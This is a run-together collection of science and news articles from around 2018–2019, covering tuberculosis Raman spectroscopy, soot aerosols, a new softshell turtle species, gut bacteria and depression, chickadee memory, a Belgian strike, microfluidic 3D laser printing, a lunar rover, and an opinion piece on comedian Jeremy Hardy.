"The data we published contains information of spectrums typical for different strains of Mycobacterium tuberculosis. According to the results of the experiment, Raman spectroscopy may be a useful tool for determining the levels of drug resistance in tuberculosis agents," says Andrey Zyubin, a senior research associate at the Scientific and Educational Center Fundamental and Applied Photonics. Nanophotonics.

Explore further Machine learning identifies antibiotic resistance genes in tuberculosis-causing bacteria

More information: Andrey Zyubin et al, Dataset of single Mycobacterium tuberculosis bacteria cells with different antibiotic susceptibility obtained by Raman spectroscopy, Data in Brief (2018). Andrey Zyubin et al, Dataset of single Mycobacterium tuberculosis bacteria cells with different antibiotic susceptibility obtained by Raman spectroscopy,(2018). DOI: 10.1016/j.dib.2018.11.095

Provided by Immanuel Kant Baltic Federal UniversityCredit: CC0 Public Domain

In the atmosphere, individual soot particles emitted from human activities often encounter and combine with organic material, forming soot-containing particles. A research team led by scientists from the U.S. Department of Energy's (DOE) Pacific Northwest National Laboratory/EMSL and Michigan Technological University established a link between the viscosity of the organic material and its distribution within the soot-containing particle. This mixing configuration is important because it alters the particles' ability to absorb and scatter solar radiation.

The scientists discovered that organic material of low viscosity partially or completely encapsulated soot particles, while highly viscous organic material often attaches to the surface of co-existing soot particles or do not even stick together, remaining separate.

Soot particles strongly absorb solar radiation, and therefore, affect Earth's energy balance. However, their optical properties strongly depend on how the individual soot particles mix with other particles in the atmosphere (internal mixing).

This study identified the viscosity of organic matter in the atmosphere as a key factor that influences the distribution of organic matter within soot-containing particles. These findings will improve aerosol models that predict the mixing state of soot via condensation and coagulation processes, thereby improving radiative forcing calculations and climate predictions.

Organic particles in the atmosphere exhibit a wide range of viscosity, depending upon their chemical composition and the surrounding environmental conditions, such as temperature and relative humidity. As soot particles combine with organic particles in the atmosphere, the distribution of soot and organic material in the combined particle determines its overall optical properties and radiative forcing-warming or cooling effects.

Taking scanning electron microscopy images at different view angles, researchers investigated soot-containing particles collected during DOE's Carbonaceous Aerosol and Radiative Effects Study (CARES) in Sacramento, California, in June 2010. Their results indicate that organic material of low to intermediate viscosity often engulfed soot, while highly viscous organic material attaches to the soot surface or remains separated from it. Soot particles engulfed by low viscosity organics become coated and can be approximately represented by a "core-shell" model, where the soot particles are at the center of an idealized spherical shell made of the organic material. In contrast, increasing viscosity results in limited (partial) engulfing, and hence the formation of non-core-shell configurations.

These findings establish a link between the viscosity of organic material and its distribution when mixed internally with soot particles. Accounting for the effects of viscosity of organic matter on the mixing state of soot-containing particles in numerical models will improve estimates of radiative forcing from soot.

Explore further Researchers used diesel pollution to understand how soot forms ice in cirrus clouds

More information: Noopur Sharma et al. Physical Properties of Aerosol Internally Mixed With Soot Particles in a Biogenically Dominated Environment in California, Geophysical Research Letters (2018). Journal information: Geophysical Research Letters Noopur Sharma et al. Physical Properties of Aerosol Internally Mixed With Soot Particles in a Biogenically Dominated Environment in California,(2018). DOI: 10.1029/2018GL079404Female specimen of the newly described species (Pelodiscus variegatus) serving as a paratype of the new species. Credit: Thomas Ziegler

For decades, it has been assumed that the Chinese Softshell Turtles from East Asia all belonged to one and the same species, Pelodiscus sinensis. Widely distributed all the way from the Russian Far East through the Korean Peninsula to China and Vietnam, the species was said to vary substantially in terms of its looks across localities. However, around the turn of the century, following a series of taxonomic debates, scientists revalidated or discovered a total of three species distinct from the 'original'.

Recently, a Hungarian-Vietnamese-German team of researchers described a fifth species in the genus. Their discovery is published in the open-access journal ZooKeys.

The new species, which differs both genetically and morphologically from the other four, has well-pronounced dark blotches on the underside of its shell. The markings are also the reason why these turtles are going by the scientific name Pelodiscus variegatus, where "variegatus" translates to "spotted" in Latin.

"This morphological feature, among others, led to the discovery that these animals belong to a hitherto undescribed species," explains Professor Dr. Uwe Fritz of the Senckenberg Natural History Collections in Dresden.

Unfortunately, the identification of multiple species within what used to be a single one has its potentially ill-fated consequences. While the Chinese Softshell Turtle was once considered widespread and not threatened, each newly discovered species "reduces" the individual population numbers.

Characteristic plastron markings of the new species, Pelodiscus variegatus. Credit: Thomas Ziegler

"When we look at each species, the distribution range as well as the number of individuals is much smaller than when all were combined. Until now, the newly described Spotted Softshell Turtle was considered part of the Lesser Chinese Softshell Turtle Pelodiscus parviformis, which was discovered by Chinese researchers in 1997. Pelodiscus parviformis was already considered critically endangered. Now that its southern representatives have been assigned to a different species, the Spotted Softshell Turtle, the overall population size of each species is even smaller," explains Balazs Farkas, the study's Hungarian lead author.

Because of its restricted range and the levels of exploitation it is subjected to, the conservation status of the new species is proposed to be Critically Endangered, according to the criteria of the IUCN Red List of Threatened Species.

Habitat of the new species of softshell turtle, Pelodiscus variegatus. Credit: An Vinh Ong

Explore further How eating turtles could help species conservation

More information: Balazs Farkas et al, A new species of Pelodiscus from northeastern Indochina (Testudines, Trionychidae), ZooKeys (2019). Journal information: ZooKeys Balazs Farkas et al, A new species of Pelodiscus from northeastern Indochina (Testudines, Trionychidae),(2019). DOI: 10.3897/zookeys.824.31376Scientists seeded this petri plate with KLE1738 and bacteria from human stool. KLE1738 is dependent upon gamma-aminobutyric acid (GABA), an inhibitory neurotransmitter found in mammalian central nervous systems. Any colony that supports growth of KLE1738 is a GABA-producer. Many colonies on this plate are producing GABA. Credit: Philip Strandwitz / Northeastern University

Research team studies the compelling connection between one of NIH's "most wanted" bacteria and mental health.

Researchers have established a correlation between depression and a group of neurotransmitter-producing bacteria found in the human gut.

The research team from the U.S. Department of Energy's (DOE) Argonne National Laboratory, Northeastern University and elsewhere made the connection by first isolating the KLE1738, a bacterium that has a surprising dependency upon a brain chemical called gamma-aminobutyric acid (GABA).

"The association of microbial GABAmetabolism with mental health is highly compelling," said Jack Gilbert, group leader for microbial ecology at Argonne who also holds new faculty appointments at the University of California, San Diego, in the Department of Pediatrics and at Scripps Institution of Oceanography. ?"The general ability of the microbiome to produce and/or consume GABA has not been as broadly described before, and a bacterium dependent on GABAhas never been reported."

Gilbert and 18 co-authors published their findings on December 10, 2018, in Nature Microbiology.

"Because of its unique growth requirements, nobody else has reported growing KLE1738," said Philip Strandwitz, the article's lead author and a postdoctoral research associate at Northeastern University's Antimicrobial Discovery Center. Strandwitz and his colleagues have proposed the name Evtepia gabavorous for KLE1738. They will more fully describe the bacterium in a future publication.

KLE1738 had previously appeared on the ?"most wanted list" of the National Institutes of Health, meaning that it had yet to be cultured, despite its relative prevalence in the human gut. The bacterium has been detected in nearly 20 percent of the human gut microbiomes available in the Integrated Microbial Next Generation Sequencing Database.

Gut microbiota, the entire collection of microorganisms found in that habitat, affect many important functions, including the immune response and the nervous system. Nevertheless, many microorganisims residing in the human gut remain uncultured, which the research team called ?"an obstacle for understanding their biological roles" in the Nature Microbiology article.

More such microorganisms probably remain uncultured because they require key growth factors that are provided by neighboring bacteria in their natural environments, but not under artificial laboratory conditions. During an extensive screening process, the team found that KLE1738 required the presence of Bacteroides fragilis, a common human gut bacterium, to grow.

Further biological testing and purification led to the isolation of GABA as the growth factor produced by Bacteroides fragilis. GABA was, in fact, the only nutrient tested during the experiments that supported the growth of KLE1738.

In the next research phase, the team explored the possible connection between Bacteroides and depression. Stool samples and functional magnetic resonance imaging measurements of brain activity were collected from 23 subjects suffering from clinically diagnosed depression.

The researchers found an inverse relationship between the relative abundance of fecal Bacteroidesand functional connectivity in a part of the brain associated with elevated activity during depression. This means that low abundance of Bacteroides was associated with high activity in that part of the brain, and vice versa.

"A good first step is to repeat our findings in additional human cohorts, which we are actively exploring," said Strandwitz of further research. ?"When it comes to depression, animal models are often difficult to translate, which is why we are so excited about human studies. "

Recent work published in the journals Science and Cell have identified the presence of sensory neurons in the gut that are hard-wired to the brain. ?"It would be great to explore whether microbial GABA can act as a signal via that pathway," said Anukriti Sharma, a co-author of the Nature Microbiology article and a postdoctoral scholar at Argonne.

Strandwitz and co-author Kim Lewis, a distinguished university professor at Northeastern, have founded a biotechnology company, Holobiome, to develop microbiome-based therapeutics that target diseases of the nervous system. Gilbert is a member of the company's scientific advisory board. Additional research will be needed, however, before it may become possible to develop a treatment for people suffering from depression.

"Significant work must be done to first, validate the link between microbial GABA producers and depression," Strandwitz said. ?"And second, if validated, identify the right approach to develop bacterialor some sort of interventionas therapeutics."

Explore further These bacteria may be the key to treating clinical depressionUniversity of Nevada, Reno research results provide the first direct evidence for natural selection on spatial cognition in wild food-caching mountain chickadees in one-of-a-kind in the world high-altitude field lab. Credit: Vladimir Pravosudov, University of Nevada, Reno

Chickadees with better learning and memory skills, needed to find numerous food caches, are more likely to survive their first winter, a long-term study of mountain chickadees has found.

Enhanced spatial cognition and brain power evolves via natural selection, an elaborate study of hundreds of mountain chickadees in the Sierra Nevada has found. Using passive integrative transponder (PIT) tags in combination with radio frequency identification-equipped feeders, scientists at the University of Nevada, Reno have tracked feeding behaviors and measured learning and memory of these non-migratory birds that live year-round in the high-elevation forest northwest of Truckee, California.

"This is a unique program, set in the wilderness, so we get unique results," Vladimir Pravosudov, lead researcher and biology professor at the University's College of Science, said. "Over the years, we've banded and tagged thousands of chickadees and observed their spatial cognition using custom-designed and built feeders that allow us to track how individuals learn and remember. And now we have tested whether individuals with better learning and memory performance are more likely to survive the winter."

Ben Sonnenberg, a doctoral student in the laboratory of Pravosudov (as a part of the Ecology, Evolution and Conservation Biology Graduate program) is the lead author, and Pravosudov is a corresponding author, on a scientific paper, based on the research, published Feb. 7 in the journal Current Biology.

'We're looking at how natural selection can generate differences in the birds living in different environments, and we now have direct evidence that selection is acting on chickadees' spatial cognition, which is needed to find tens of thousands of previously made food caches required to survive the winter," Pravosudov said. "Our new evidence fully support our previous comparative studies showing that chickadees living in harsh winter conditions at high elevations have better memory and larger hippocampus, a brain structure associated with memory. Our new data show that better learning and memory in these birds at high elevations are due to strong natural selection."

Pravosudov and his team of three graduate students visit their field sites near the University of California, Berkeley Sagehen Creek Field Station north of Truckee, California multiple times a week, year-round, including in some of the harshest Sierra Nevada winter weather. The field sites are about 40 miles from campus, so traveling during snowstorms is slow, and then they must use over-snow vehicles to go the last 10 miles to the high elevation site near Carpenter's ridge, at about 8,300 feet in elevation, often blazing a trail through four feet of new snow.

"Results like these (about natural selection) make the long days of digging out snowmobiles, shoveling snow and programming our chickadee feeders from underneath a tarp in sleeting weather worth the effort twice over," graduate student Sonnenberg said.

Four over-snow vehicles are used to transport the researchers and gear to their sites, and sometimes they have to ski to get there because their vehicles can't get through the deep snow.

Their destination at high elevation is the centerpiece for this study, with two identical metal frameworksarraysthat hold eight feeders each. Access to the feeders is regulated by RFID activated doors and the feeder arrays can be raised and lowered depending on the snow depth. The frameworks hang by cables between trees in the forest that reaches 8,300 feet above sea level. Two similar arrays are set up at their lower elevation study area about four miles away and a few thousand feet lower in elevation.

Chickadees with better learning and memory skills, needed to find numerous food caches, are more likely to survive their first winter, a long-term study of mountain chickadees has found. Credit: Jennifer Sande, University of Nevada, Reno

Each bird has its own PIT tag ID and the feeder doors can be programmed to let in whichever birds Pravosudov and his team decide. The data, such as number of visits by an individual bird to each feeder, the time of day they feed and what other chickadees they share the feeder with, are automatically recorded by RFID boards and stored on memory cards which need to be regularly retrieved to download the data.

By assigning each bird only one rewarding feeder, researchers are able to measure learning and memory by recording how many non-rewarding, or 'wrong,' feeders birds visit before they find their rewarding feeder. As birds learn, they are expected to stop visiting all but the rewarding feeder.

"It's a simple system, we built it all in-house, with many design and build versions as we adapted them to the environment," Pravosudov said. "We collaborate with Dr. Eli Bridge from University of Oklahoma on RFID designs. Our feeders are field tested, needing to survive the elements and other animalssquirrels when the snow is deep, and bears all the timewho are looking to steal the bird seed from the experiment feeders. Bears have destroyed many feeders before we figured out how to avoid them."

"We follow chickadees their entire lives; we get the whole big picture," he said. "Mountain chickadees have an average lifespan of one and a half years, but our oldest is seven years old. The highest mortality occurs in juvenile birds during their first winter. Survivability is higher in adults once they survived their first winter because they are the ones who have better learning and memory abilities, allowing them to find where their food is cached. As much as 50 percent of the population dies off each year in the mountain environment; if they can't remember well where their food is cached, they are not likely to survive."

When comparing the juveniles who survived the first year to those who did not, learning and memory performance was better in those who survived. The research team also found that cognitive abilities remained stable as the birds aged.

The wild food-caching mountain chickadees don't migrate, they stay mostly at the same sites they settled on after they dispersed from where they hatched. At the Sagehen forest, there are no birds that permanently moved between the researchers' low and high elevation sites, which are six miles apart.

"We have banded several thousand chickadees over the years and we have never seen any birds permanently moving between elevations," Pravosudov, who teaches animal behavior and behavioral ecology, said. "These birds are easier to study because they are in one spot their entire life, dependent on food caches to make it through the harsh winters."

"The ability to track individual mountain chickadees throughout their lifetime in the Sierra Nevada mountains has been extremely exciting and rewarding," Sonnenberg said. "I was drawn to UNR and Vladimir's lab because there is no other system like it."

Vladimir has suspected for years that spatial memory is being shaped by natural selection and being able to take part in such a major step in confirming these ideas is extremely special, he said.

The field lab at high elevation is the centerpiece for this study, with two identical metal frameworks - arrays - that hold eight feeders each. Access to the feeders is regulated by RFID activated doors and the feeder arrays can be raised and lowered depending on the snow depth. Credit: Vladimir Pravosudov, University of Nevada, Ren.

"Our results provide the first direct evidence for natural selection on spatial cognition in wild food-caching mountain chickadees," he said. "Taken together, our results suggest that natural selection associated with environmental differences, like those in winter conditions between high and low elevations in the mountains, might be generating intraspecific differences in cognitive abilities. Our evidence suggests that natural selection, rather than some other potential variables that critics have said could be responsible for the results of earlier comparative studies inconclusive, is the main driver of such differences."

The strongest supporting evidence comes from spatial learning and memory performance, as results from all three comparisons in the study are consistent with natural selection:

Adults showed better spatial learning and memory performance than first-year juveniles; There was no significant difference in performance of the same cohort of chickadees that was first tested as first-year birds and then as adults, in other words they did not improve cognitive performance with experience; and Spatial cognitive performance was a significant predictor of survival in first-year juvenile chickadees; birds that survived their first winter season showed significantly better performance in the spatial learning and memory tasks compared to birds that died.

Pravosudov received a National Science Foundation grant in 2014 to conduct this study. Two other NSF grants, one awarded to collaborator Eli Bridge and one awarded to Carrie Branch, were part of the funding for this project.

Co-authors on the scientific paper in Current Biology are Benjamin Sonnenberg, University of Nevada, Reno; Carrie Branch, former doctoral student at the University of Nevada, Reno and now a postdoc at Cornell Lab of Ornithology; Angela Pitera, University of Nevada, Reno; and Eli Bridge, University of Oklahoma, Oklahoma Biological Survey.

Pravosudov's is currently the only lab in the world that carries systematic study of spatial learning and memory in wild food-caching birds in extreme environmental conditions.

He's been studying mountain chickadees in the Sierra since 1999 starting as a post-doc at the University of California, Davis. Before that, he studied European food-caching tits (related to North American chickadees) above the Arctic Circle in northern Russia and then in North Eastern Siberia. Pravosudov's lab has published 21 papers about chickadees since 2015, with more in the pipeline. His curiosity and drive to learn more continues today.

"We now have DNA of all the birds we've banded, so next we are collaborating on genomics projects to investigate genomic bases of variation in learning and memory; maybe this summer we'll have a paper on our findings using full genomes of numerous chickadees with known learning and memory performance," he said.

He is a fellow of the American Ornithological Society, recognizing his "exceptional and sustained contributions to ornithology" and an elected fellow of the Animal Behavior Society.

Explore further Mountain birds beat the odds

More information: Benjamin R. Sonnenberg et al, Natural Selection and Spatial Cognition in Wild Food-Caching Mountain Chickadees, Current Biology (2019). Journal information: Current Biology Benjamin R. Sonnenberg et al, Natural Selection and Spatial Cognition in Wild Food-Caching Mountain Chickadees,(2019). DOI: 10.1016/j.cub.2019.01.006A nationwide strike has brought air traffic to a halt in Belgium

Belgium slowed to a standstill on Wednesday as a national strike closed airports, shuttered businesses and caused major disruption to railways.

The strike, called by three unions, severely disrupted the country's public transport, particularly in Brussels, where a meeting of NATO ministers was set to take place.

The strike affected post offices, schools, hospitals, waste collection, but also companies and shopping centres.

In the Dutch-speaking city of Ghent, two protestors were slightly injured when a vehicle forced a picket line, local police told AFP. The driver was arrested.

"The movement is well followed everywhere and in all sectors," said CSC union general secretary Marie-Helene Ska on Bel-RTL radio.

The national railway company expected half the trains nation-wide would be cancelled because of the movement, but high speed train traffic to London and Paris should be mostly spared.

The air traffic control agency, Skeyes, announced on Tuesday that it would not allow any flights to or from the country because it could not determine with certainty which employees would come to work.

No aircraft flying below 8,000 metres altitude would be allowed to fly over the country, the agency warned.

Skeyes was not able to say how many flights or how many passengers would be affected.

"Even if the terminal will remain open, we ask all passengers not to go to the airport," said Brussels Zaventem airport, the largest in Belgium, in a statement.

Charleroi airport, the second largest in Belgium and a local hub for low-cost giant Ryanair, had already announced its closure.

The German carrier TUI fly will operate its scheduled Belgian flights from the nearest French and Dutch airports.

Unions are calling for higher wages, benefits and pensions, and better end-of-career conditions. The movement is putting pressure on the right-of-centre government ahead of general elections in May.

Brussels, home to NATO, will be hosting a meeting of defence ministers that day, with officials from throughout the transatlantic military alliance converging on the city.

Dozens of supermarkets were closed, mainly in the French-speaking part of Belgium.

"Forty-four supermarkets are closed and we hope that the situation does not change during the day," said Carrefour spokesman Baptiste van Outryve to Belga news agency.

The last general strike in Belgium was in December 2014.

Explore further No flights to or from Belgium due to strike on Wednesday

 2019 AFPLeft: Scheme of the microfluidic chamber. (A) A high-numerical aperture (NA) oil-immersion microscope objective lens focuses femtosecond laser pulses into a chamber, which is clad by two thin glass windows (light blue). One of them serves as the substrate for the samples. The selection valve shown allows for switching between different photoresists (here, one nonfluorescent and four fluorescent) and solvents (acetone and mr-Dev 600), which are injected into the microfluidic chamber. (B) Structure formulae of the components of one of the fluorescent photoresists containing Atto dye molecules. Right: Microfluidic sample holder for 3D laser lithography. (A) Scheme of the complete sample holder, which can be placed into a commercial 3D laser lithography machine and explosion drawing of the microfluidic chamber, which hosts a small coverslip (diameter, 10 mm) inside the chamber, onto which structures can be 3D-printed. The chamber is sealed using a solvent-resistant O-ring, and the top part features a circular glass window for the high-NA oil-immersion objective to focus inside the chamber. (B) Cross-sectional scale drawing of the sample holder. The sample holder features connectors for liquid tubing and channels for the liquids to be guided in and out of the microfluidic chamber. The liquid flow path is indicated using red arrows. Credit: Science Advances, doi: 10.1126/sciadv.aau9160

Complex, three-dimensional (3-D) structures are regularly constructed using a reliable commercial method of 3-D laser micro- and nanoprinting. In a recent study, Frederik Mayer and co-workers in Germany and Australia have presented a new system in which a microfluidic chamber could be integrated on a laser 3-D lithography device to construct multimaterial structures using more than one constituent material. The new method can eliminate the existing need to transfer between lithography techniques and chemistry labs for a streamlined manufacturing process.

As a proof-of-principle, the scientists created 3-D deterministic microstructured security feature devices using seven materials. These included (1) a nonfluorescent photoresist (light sensitive material) to build the device backbone, (2) two photoresists containing different fluorescent quantum dots, (3) two more photoresists with different fluorescent dyes and (4) two developers. 3-D optical security features are typically manufactured through multi-step laser lithography and chemistry techniques.

Microstructures for such security features usually contain a nonfluorescent 3-D cross-grid scaffold and built-in fluorescent markers realized with semiconductor quantum dots arranged onto the scaffold at will to encode a message. The resulting microstructure/security features can be read using optical sectioning methods such as 3-D confocal fluorescence scanning microscopy. The new system proposed by Mayer et al. therefore opens a door to engineer multimaterials in 3-D additive manufacture at the micro- and nanoscale on a combined microfluidic-lithography setup.

3-D laser printing technology or 3-D laser micro- and nano-printing emerged more than 20 years ago and is now widespread. Current applications are ubiquitous from 3-D photonic crystals to photonic wire bonds, 3-D printed free-form surfaces, micro-optics for 3-D optical circuitry and micromirrors. Applications also include optical microlens systems based on 3-D mechanical metamaterials, 3-D security features, to 3-D microscaffolds for cell culture and 3-D printed micromachines. In a majority of published microstructures, however, scientists only used one main material to create the 3-D architecture, with notable exceptions in recent literature.

Scheme of the system connected to the microfluidic chamber. (A) It consists of an electronic pressure controller connected to a nitrogen bottle, up to 10 containers for the photoresists and solvents for development, and the star-shaped selection valve. Pumping individual liquids is possible by applying a pneumatic pressure to all liquid containers and opening the flow path for a single liquid using the selection valve. Following the selection valve, the liquid flow is guided through an overpressure valve and homebuilt sample holder. Last, it is directed into a waste container. (B) Cross section through the homebuilt selection valve assembly. The assembly consists of commercial solenoid valves and a homebuilt 10-to-1 manifold that connects the 10 liquid containers to 10 solenoid valves, and the valve outputs to one manifold output port. An example flow path for one liquid is indicated with red arrows. Credit: Science Advances, doi: 10.1126/sciadv.aau9160.

During design, it is important to streamline the chemical process and 3-D laser printing technique in the same compact tabletop machine tool to achieve multimaterial printing. At present, microfluidic devices are also commercially well suited to engineer interconnected systems since mature components of the technology are readily available. Much like cable components in an electronic system, the connectors, flow switches, valves, flow controllers and switch flow matrices can be bought off the shelf. When constructing the combined setup (microfluidics and laser lithography), Mayer et al. addressed two main questions:

Can all process steps be performed in the regime of laminar flow? Can an attractive system with the defined design constraints be realized on a single device?

To address these questions in the new system, Mayer et al. constructed the device capabilities as a deterministic, multi-structured 3-D fluorescent security feature with multiple emission colors. The scientists used seven different liquids in the microfluidic setup as detailed onset.

They constructed the microfluidic chamber and placed the structure inside a commercial 3-D laser lithography machine. The microfluidic chamber contained a small coverslip onto which structures could be 3-D printed. Structural alterations made during the experiment to the 3-D laser lithography system did not limit the possibilities of the device. Mayer et al. printed structures with a tunable printing resolution, alongside large sample footprints depending on sample size.

Successive 3D printing of different photoresists. Images taken using the camera integrated into the 3D laser lithography machine. Each image shows the uppermost layer of the 3D microstructure, but after different printing steps. For the first picture, the 3D support grid and blue fluorescent markers have been printed, whereas for the last picture, markers using all four fluorescent resists have been printed. For clarity, fluorescence emission colors are overlaid. Credit: Science Advances, doi: 10.1126/sciadv.aau9160.

The scientists designed the apparatus to reproducibly open and close the microfluidic chamber. To prevent pressure-induced glass rupture in the setup, they measured the critical pressure via independently controlled combustion tests. To reduce overpressure inside the microfluidic chamber, the scientists connected the output of the microfluidic chamber to the waste container using a tube. They never set the pressure controller to an overpressure exceeding 2 bar and installed a pressure relief valve between the distributor valve and the input to the chamber. In this way, Mayer et al. installed precautions to ensure the glass window remained intact under controlled flow of photoresist and liquids in the microfluidic system, throughout the experiment.

Animation of the scan through different z-positions of the fluorescent 3D microstructure. Images for the movie were taken using a confocal laser scanning microscopy without interpolation. Credit: Science Advances, doi: 10.1126/sciadv.aau9160

The entire setup contained the microfluidic chamber, an electronic pressure controller connected to a nitrogen bottle, several reservoirs with different photoresist and developer liquids. The system also contained a homebuilt distributor valve and tubes connecting the different compartments. The scientists maintained computer-aided control of the switch valves and included a simple amplifier circuit with a microcontroller board. When deploying the microfluidic system in a 3-D lithographic setup, Mayer et al. reduced unnecessary consumption of photoresist as far as possible and augmented the device setup for optimal function, addressing both questions of the study design.

The scientists demonstrated the capabilities of the system by fabricating 3-D fluorescent security features, similar to an established protocol. In the workflow, they injected nonfluorescent photoresist into the microfluidic chamber to create a 3-D support grid. Then they 3-D printed fluorescent parts of the structure by repeatedly injecting fluorescent photoresists. The blue and green-emitting photoresists contained quantum dots, and the orange and red-emitting resists contained organic Atto dyes. The scientists imaged the written security structure using a camera built in to the 3-D laser lithography system.

Confocal laser scanning fluorescence microscopy of fabricated structures. (A) On the left-hand side, a computer rendering of the design for the microstructure is shown. It consists of a nonfluorescent 3D support structure (gray) with fluorescent markers with different emission colors printed into it. On the right-hand side, a stack of images taken by using fluorescence microscopy is shown. (B) The designs of the test patterns were printed into the five different marker layers of the microstructure. (C) Measurement data from fabricated microstructures taken using fluorescence microscopy. Insets show the level of detail at which different photoresist structure elements can be printed. Credit: Science Advances, doi: 10.1126/sciadv.aau9160.

When they visualized the 3-D fluorescent security feature as a computer design, it contained a 3-D cross-grid surrounded by walls for support and fluorescent markers arranged around every grid point. The entire microstructure could store around 7.8 kbit of information. To characterize the 3-D printed structures, Mayer et al. used confocal laser scanning microscopy (LSM) and imaged the different fluorescent parts. The scientists examined the level of detail at which the fluorescent parts of the structure were printed by scanning through different levels of the fluorescent 3-D microstructure. In the work, they showed that results between the designed test patterns and measured data were in good agreement.

In this way, Mayer et al. introduced a microfluidic system that could perform photoresist injection and sample development steps within a commercially available laser lithography machine. The system facilitated the fabrication of multimaterial 3-D laser lithography structures. As a proof-of-principle, they printed complex 3-D security features using the combined system in the study.

The scientists envision that combined microfluidic-laser lithography systems will become widely used in the future to manufacture complex 3-D micro- and nanostructures with multiple materials. Such materials and systems will have applications in diverse fields such as 3-D scaffolds for cell culture, 3-D metamaterials, 3-D micro-optical systems and 3-D security features as shown in the study.

 2019 Science X NetworkThe LUVMI rover will be sent to the moon to inspect its water ice, and chemicals in its crust and atmosphere. Credit: LUVMI consortium

A lunar rover that can analyse samples in situ and a Europe-wide facility to store extraterrestrial samples will help to protect moon samples from contamination and increase their usability in scientific experiments.

In 1969, the Apollo 12 mission retrieved a camera that had been left on the moon by an earlier spacecraft. When it was analysed, scientists discovered some bacteria  Streptococcus mitis  that are found in humans. While the origin of the bacteria was hotly debated, the incident highlighted the problem of cross-contamination  something that could invalidate the analysis of any samples brought back from future lunar missions.

Given the potential moon and other space missions coming up in the next decade, there will also be more of a need for better ways of handling and analysing the material.

One solution is to use lunar rovers to analyse the moon's environment in situ, but a key challenge with this, according to Diego Urbina from Belgium-based company Space Applications Services, is the traditional huge expense and difficulty of transporting and using these vehicles.

Urbina works on a project called LUVMI, which is developing a lightweight, low-cost rover weighing about 45kg. In January, the team tested a 60kg prototype over two days in Noordwijk, the Netherlands, to see how it performed autonomously in navigating hazardous obstacles and moon-mimicking surfaces, from rugged terrain to sandy dunes.

"That went really well. It proved that the concept worked, that it delivered the functions we wanted it to, and the rover's drill worked correctly," said Urbina. "We're hoping that by the mid-2020s, if all goes well, we could have LUVMI ready for the moon."

The team hopes that LUVMI could be sent to look at the characteristics of the moon's water ice  the existence of which was confirmed last year  as well as the chemicals in the crust and atmosphere, known as volatiles.

It could also explore ways to extract oxygen and water for use by humans and as fuel by vehicles and satellites, potentially aiding future missions. "We expect this to be a kind of exponential effect  that once you can extract resources, these enable many things that can help you extract more resources and expand into the solar system," said Urbina.

Sweet spot

Urbina explained that the LUVMI rover is much smaller than traditional government-backed ones, but also larger than the more commercial miniature ones, such as those designed for Google's Lunar XPRIZE before it was cancelled last year.

"We're at a nice sweet spot where it is small enough that your launch costs are not too high and big enough that you can deliver a nice suite of payloads and do something interesting," he said.

Rather than having six wheels like some other models, the LUVMI rover only has four, which Urbina says makes it more energy-effective while also keeping it highly mobile. This is enabled by an adjustable suspension system that allows the chassis to move up and down and more easily put sensors in contact with the lunar surface as it drives along.

Unlike traditional rovers that transfer samples to the lunar surface after drilling into rock, LUVMI will also aim to cut analysis time in half and reduce the risk of damaging the materials by measuring them in situ rather than returning them to Earth. It will do this by drilling into the ground with its sampler, which uses heat to release the volatiles to be measured.

But while analysing samples on the moon could yield a certain amount of information, there's nothing like having part of the moon in front of you to look at on Earth, says Professor Sara Russell at the Natural History Museum in London, UK.

"There's lots of things that an in situ rover or orbital mission can do, but there are many experiments where you need to actually have the sample in your hands in a lab to do them," she said.

Prof. Russell said this is necessary for studies such as precise isotope measurements to determine the ages or chemical history of samples, or detailed examinations of organic material to assess the possibility of life elsewhere in the solar system.

She is part of a team that is developing a plan to build a dedicated pan-European facility to properly curate samples returned from space, protecting them from contamination and preserving them in pristine condition.

Curation

Her role, as leader of a project called EURO-CARES, was to bring together scientists and engineers from across Europe to plan a European Sample Curation Facility (ESCF) to meet the needs of sample return missions over the coming decades.

"There's a lot of commonality in what we need to do, and any European space mission will be an international venture that's a collaboration of several different countries," explained Prof. Russell. "So it was important that we came together to share our expertise and create something that would be more Europe-wide."

Apart from uniting their knowledge from previous space research, the researchers looked around curation facilities on other continents, such as those of NASA and Japan's JAXA. "They were brilliant in sharing their lessons learnt," said Prof. Russell.

She said that any research facility should be modular, with space to add new buildings to protect samples coming from very different environments and avoid cross-contamination. "The rule of thumb is that samples should be kept in a similar condition to how they are on the surface of their body," she said.

According to Prof. Russell, the curation of lunar samples themselves is relatively straightforward because of the half-century of legacy knowledge gained from the Apollo moon missions  making starting with the moon 'really good, easy and doable."

But, she said, samples from bodies such as Mars are 'a whole different kettle of fish' compared with the sterile nature of the moon. There is a need to take account of the conditions of the Martian atmosphere and the possibility that bugs could be brought back to Earth. That gives them a 'restricted' status that involves a whole set of protocols for protection on Earth.

This could also necessitate, for example, some kind of tent that could be erected where a sample lands for initial work before being taken to its final curation facility.

The team estimates that building an ESCF for curating just unrestricted samples would cost between 10 million and 20 million, and over 100 million for one that analysed restricted samples too. Prof. Russell says this is a relatively small outlay given the overall cost of missions, with current asteroid sample return missions such as Hayabusa2 and OSIRIS-REx budgeted at hundreds of millions of euros and a Mars one likely to cost billions.

The team has not yet settled on a specific site and would need to seek funding to build it as a next step. Prof. Russell says, however, that work on an ESCF should begin at least seven years before samples are likely to be returned to Earth  and with missions possibly coming back from the moon and elsewhere within a 10-year time frame from now, this may heighten the urgency.

"It's brought home that we really need to start thinking about it now," said Prof. Russell. "A facility would open up a whole new area of science, some of which we don't even know about yet."

Explore further China envisions moon base after far-side successWe were sad to hear that the comedian Jeremy Hardy had died on 1 February. Typically, media reports and obituaries prefixed the label left-wing before the word comedian as a kind of government health warning. What they really meant was that he was too far left. Normally, the media dont label entertainers as extreme centrists, neocon sympathisers or Israel supporters, when perhaps they should.

Hardy was a regular panellist on BBC shows, the News Quiz and Im Sorry I Havent a Clue. His ability to be extremely funny and sharp-witted, as well as being popular with other panellists and the public, probably allowed him a measure of corporate BBC indulgence to inject left-wing bullet points that others might not have been afforded. Fellow comedian Miles Jupp noted that:

Many people have the ability to express their political beliefs coherently and many people have the ability to be funny. Jeremy Hardy, who has died of cancer aged 57, had an astonishing ability to do both things at the same time.

He added:

from the earliest days his socialist beliefs were a thread that ran throughout his comedy, as they did his life and his campaigning.

One of us (Cromwell) saw Hardy perform twice at Nuffield Theatre at the University of Southampton, where he had studied in the 1980s. On both occasions, he was very funny, sharp and thoroughly engaging. During the second performance, on 15 October 2017, he spoke passionately about the blatantly negative media coverage targeting Jeremy Corbyn:

The worst is the liberal media. Take the Guardian. What is it that the Guardian actually guards? It guards how progressive youre allowed to be. You can go this far to the left and no further.

This echoed Noam Chomskys well-known remark about the liberal media policing the bounds of permissible debate:

Thus far and no further.

